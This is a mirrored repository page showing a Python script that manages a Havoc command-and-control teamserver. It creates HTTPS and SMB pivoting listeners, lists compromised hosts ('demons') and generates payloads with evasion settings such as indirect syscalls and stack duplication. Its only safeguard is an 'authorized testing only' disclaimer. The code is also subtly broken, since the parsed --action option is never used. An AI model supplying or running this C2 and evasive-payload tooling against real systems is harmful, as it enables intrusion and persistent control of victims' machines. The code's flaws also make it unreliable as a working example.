mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-14 03:15:16 +03:00
c21af3347e
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
158 lines
6.1 KiB
Python
158 lines
6.1 KiB
Python
#!/usr/bin/env python3
|
|
"""Havoc C2 Infrastructure Builder Agent - Manages Havoc C2 framework deployment and listener setup.
|
|
|
|
# For authorized penetration testing and lab environments only.
|
|
"""
|
|
|
|
import json
|
|
import logging
|
|
import argparse
|
|
import subprocess
|
|
from datetime import datetime
|
|
|
|
import requests
|
|
|
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
|
logger = logging.getLogger(__name__)
|
|
|
|
HAVOC_DEFAULT_PORT = 40056
|
|
|
|
|
|
def havoc_api_request(teamserver, endpoint, token, method="GET", data=None):
|
|
"""Make authenticated request to Havoc teamserver API."""
|
|
url = f"https://{teamserver}/api/{endpoint}"
|
|
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
|
try:
|
|
if method == "GET":
|
|
resp = requests.get(url, headers=headers, timeout=15, verify=False)
|
|
else:
|
|
resp = requests.post(url, headers=headers, json=data or {}, timeout=15, verify=False)
|
|
resp.raise_for_status()
|
|
return resp.json()
|
|
except requests.RequestException as e:
|
|
logger.error("Havoc API request failed: %s", e)
|
|
return {"error": str(e)}
|
|
|
|
|
|
def list_listeners(teamserver, token):
|
|
"""List active listeners on the teamserver."""
|
|
data = havoc_api_request(teamserver, "listeners", token)
|
|
listeners = data.get("listeners", [])
|
|
logger.info("Found %d active listeners", len(listeners))
|
|
return listeners
|
|
|
|
|
|
def create_https_listener(teamserver, token, name, bind_addr, bind_port, hosts, secure=True):
|
|
"""Create an HTTPS listener."""
|
|
config = {
|
|
"name": name,
|
|
"protocol": "Https",
|
|
"host": bind_addr,
|
|
"port": bind_port,
|
|
"hosts": hosts,
|
|
"secure": secure,
|
|
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
|
"headers": ["Content-Type: application/json", "X-Forwarded-For: 127.0.0.1"],
|
|
}
|
|
result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
|
|
logger.info("Created HTTPS listener '%s' on %s:%d", name, bind_addr, bind_port)
|
|
return result
|
|
|
|
|
|
def create_smb_listener(teamserver, token, name, pipe_name):
|
|
"""Create an SMB named pipe listener for pivoting."""
|
|
config = {"name": name, "protocol": "Smb", "pipe_name": pipe_name}
|
|
result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
|
|
logger.info("Created SMB listener '%s' on pipe %s", name, pipe_name)
|
|
return result
|
|
|
|
|
|
def list_agents(teamserver, token):
|
|
"""List connected agents (demons)."""
|
|
data = havoc_api_request(teamserver, "agents", token)
|
|
agents = data.get("agents", [])
|
|
logger.info("Found %d connected agents", len(agents))
|
|
return [{"id": a.get("agent_id"), "hostname": a.get("hostname"), "username": a.get("username"),
|
|
"os": a.get("os"), "process": a.get("process_name"), "pid": a.get("pid"),
|
|
"last_callback": a.get("last_callback"), "sleep": a.get("sleep")} for a in agents]
|
|
|
|
|
|
def generate_payload(teamserver, token, listener_name, payload_type="exe", arch="x64"):
|
|
"""Generate a Havoc demon payload."""
|
|
config = {
|
|
"listener": listener_name,
|
|
"arch": arch,
|
|
"format": payload_type,
|
|
"config": {
|
|
"sleep": 5,
|
|
"jitter": 20,
|
|
"indirect_syscalls": True,
|
|
"stack_duplication": True,
|
|
"sleep_technique": "WaitForSingleObjectEx",
|
|
},
|
|
}
|
|
result = havoc_api_request(teamserver, "payloads/generate", token, method="POST", data=config)
|
|
logger.info("Generated %s payload for listener '%s'", payload_type, listener_name)
|
|
return result
|
|
|
|
|
|
def assess_infrastructure(listeners, agents):
|
|
"""Assess C2 infrastructure health and coverage."""
|
|
assessment = {
|
|
"listener_count": len(listeners),
|
|
"agent_count": len(agents),
|
|
"protocols_in_use": list(set(l.get("protocol", "unknown") for l in listeners)),
|
|
"unique_hosts": list(set(a.get("hostname", "unknown") for a in agents)),
|
|
"stale_agents": [],
|
|
"recommendations": [],
|
|
}
|
|
for agent in agents:
|
|
sleep_val = agent.get("sleep", 0)
|
|
if sleep_val > 60:
|
|
assessment["stale_agents"].append(agent.get("id"))
|
|
if not any(l.get("protocol") == "Smb" for l in listeners):
|
|
assessment["recommendations"].append("Add SMB listener for internal pivoting")
|
|
if len(listeners) < 2:
|
|
assessment["recommendations"].append("Add redundant listeners for resilience")
|
|
if not agents:
|
|
assessment["recommendations"].append("No active agents - deploy payloads")
|
|
return assessment
|
|
|
|
|
|
def generate_report(listeners, agents, assessment):
|
|
"""Generate C2 infrastructure report."""
|
|
report = {
|
|
"timestamp": datetime.utcnow().isoformat(),
|
|
"disclaimer": "For authorized penetration testing and lab environments only",
|
|
"listeners": listeners,
|
|
"agents": agents,
|
|
"infrastructure_assessment": assessment,
|
|
}
|
|
print(f"C2 REPORT: {len(listeners)} listeners, {len(agents)} agents, "
|
|
f"{len(assessment.get('recommendations', []))} recommendations")
|
|
return report
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Havoc C2 Infrastructure Builder (authorized testing only)")
|
|
parser.add_argument("--teamserver", required=True, help="Teamserver address (host:port)")
|
|
parser.add_argument("--token", required=True, help="API authentication token")
|
|
parser.add_argument("--action", choices=["status", "create-listener", "generate-payload", "full-report"],
|
|
default="full-report")
|
|
parser.add_argument("--listener-name", default="https-primary")
|
|
parser.add_argument("--bind-port", type=int, default=443)
|
|
parser.add_argument("--output", default="havoc_c2_report.json")
|
|
args = parser.parse_args()
|
|
|
|
listeners = list_listeners(args.teamserver, args.token)
|
|
agents = list_agents(args.teamserver, args.token)
|
|
assessment = assess_infrastructure(listeners, agents)
|
|
report = generate_report(listeners, agents, assessment)
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
logger.info("Report saved to %s", args.output)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|